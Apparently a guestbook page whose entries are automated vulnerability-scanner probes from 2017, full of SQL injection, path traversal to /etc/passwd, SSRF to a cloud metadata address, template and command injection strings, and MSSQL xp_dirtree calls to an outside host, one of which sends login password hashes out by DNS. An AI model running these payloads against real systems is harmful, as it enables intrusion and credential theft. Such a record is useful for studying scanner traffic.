(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR X='ss

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR 17-7=10

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ "+print(int)0xFFF9999-22+" +

+
+

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

'+NSFTW+'

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1' OR 1=1 OR 'ns'='ns

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

1 AND 'NS='ss

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ '+print(int)0xFFF9999-22+' +

+
+

NSFTW

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

NS1NO

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +print(int)0xFFF9999-22;// +

+
+

'

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ print(int)0xFFF9999-22; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ print(int)0xFFF9999-22 +

+
+

1))exec('xp_dirtree ''\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1))exec('xp_dirtree ''\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ <% response.write(268409241-22) %> +

+
+

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.0.0.1:3306

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.100.11.2:22

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ "+response.write(268409241-22)+" +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ +response.write(268409241-22)' +

+
+

1;exec('xp_dirtree ''\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://169.254.169.254/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

1;exec('xp_dirtree ''\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ response.write(268409241-22)' +

+
+

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://aws.r87.me/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

127.0.0.1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

::1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

127.100.11.2/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

54.204.37.212/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

%27

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

testsparker.com/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://testsparker.com/elmah

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.0.0.1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me +

+
+

::1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.100.11.2/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

54.204.37.212/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

127.0.0.1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

::1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

127.100.11.2/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

54.204.37.212/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

testsparker.com/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://testsparker.com/trace.axd

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

https://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

///r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

/\r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ ]>&lfi; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ ]>&lfi; +

+
+

r87.com/?https://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

//r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ #{28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ${28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ r87.com/n +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:05 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ http://r87.com/n?.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ hTTp://r87.com/n +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ 1));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ expr 268409241 - 2 +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:06:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ ping -c 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ expr 268409241 - 2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ 1);SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ ping -c 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

